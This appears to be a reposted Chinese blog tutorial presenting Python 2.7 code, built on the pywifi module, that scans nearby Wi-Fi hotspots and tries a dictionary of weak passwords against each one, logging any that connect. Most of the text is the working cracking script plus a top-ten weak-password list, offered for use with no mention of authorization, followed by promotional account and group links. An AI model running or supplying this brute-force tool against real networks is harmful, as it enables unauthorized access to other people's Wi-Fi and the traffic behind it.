Python(3)嘗試破解wifi無線密碼
上點python有意思的代碼。
環境準備
- python2.7
- pywifi模塊
- 字典
- 清除系統中的任何wifi連接記錄
導入模塊
這裡用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != bOKn:判斷需要修改,不然會有很多的提示信息。
from pywifi import *nimport timenimport sysn
字典準備
隨機搞的wifi弱口令TOP10
- 12345678
- 123456789
- 88888888
- 1234567890
- 00000000
- 87654321
- 66668888
- 11223344
- 147258369
- 11111111
配置掃描器
推薦掃描時常可以設置在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關係,我一般設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪裡
def main():n #掃描時常n scantimes = 3n #單個密碼測試延遲n testtimes = 15n output = sys.stdoutn #結果文件保存路徑n files = "TestRes.txt"n #字典列表n keys = open(sys.argv[1],"r").readlines()n print "|KEYS %s"%(len(keys))n #實例化一個pywifi對象n wifi = PyWiFi()n #選擇定一個網卡並賦值於ifacen iface = wifi.interfaces()[0]n #通過iface進行一個時常為scantimes的掃描並獲取附近的熱點基礎配置n scanres = scans(iface,scantimes)n #統計附近被發現的熱點數量n nums = len(scanres)n print "|SCAN GET %s"%(nums)n print "%sn%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)n #將每一個熱點信息逐一進行測試n for i,x in enumerate(scanres):n #測試完畢後,成功的結果講存儲到files中n res = test(nums-i,iface,x,keys,output,testtimes)n if res:n open(files,"a").write(res)n
掃描周圍熱點
def scans(face,timeout):n #開始掃描n face.scan()n time.sleep(timeout)n #在若干秒後獲取掃描結果n return face.scan_results()n
熱點測試
這裡後續推薦將掃描過程數據入庫,防止重複掃描,且更加直觀。
def test(i,face,x,key,stu,ts):n #顯示對應網路名稱,考慮到部分中文名嘖顯示bssidn showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssidn #迭代字典並進行爆破n for n,k in enumerate(key):n x.key = k.strip()n #移除所有熱點配置n face.remove_all_network_profiles()n #講封裝好的目標嘗試連接n face.connect(face.add_network_profile(x))n #初始化狀態碼,考慮到用0會發生些邏輯錯誤n code = 10n t1 = time.time()n #循環刷新狀態,如果置為0則密碼錯誤,如超時則進行下一個n while code!=0 :n time.sleep(0.1)n code = face.status()n now = time.time()-t1n if now>ts:n breakn stu.write("r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("n","")))n stu.flush()n if code == 4:n face.disconnect()n return "%-*s| %s | %*s |%*sn"%(20,x.ssid,x.bssid,3,x.signal,15,k)n return Falsen
案例
這裡顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然後開始坑爹的跑起來了
- WIFIID 熱點的id號 每跑一個會減1
- SSID OR BSSID 熱點的ssid名或mac地址
- N 對熱點的連接狀態,這個在
- time 當前所花去的時間
- signal 熱點的信號強度,若小越好
- KEYNUM 測試密碼的id 每跑一個會減1
- KEY 當前測試的密碼
微信公眾號:datafa(數據分析聯盟)
微信群:加V 784414374
QQ群:252805327
新書鏈接:
【數據分析俠 《人人都會數據分析》20萬字書籍】http://m.tb.cn/h.AJEkoq 點擊鏈接,再選擇瀏覽器打開;或複製這條信息¥fSnh09F0Vpy¥後打開 手淘
傳送門
字典源碼模塊
你的WiFi密碼是如何被隔壁老王破解的? | 雷鋒網
推薦閱讀:
※Python黑帽編程3.0 第三章 網路介面層攻擊基礎知識
※黃哥Python提示想從事數據挖掘、機器學習的補補數學
※Python入門進階推薦書單
※python Web 運維 爬蟲.....一條龍學習視頻教程
TAG:Python |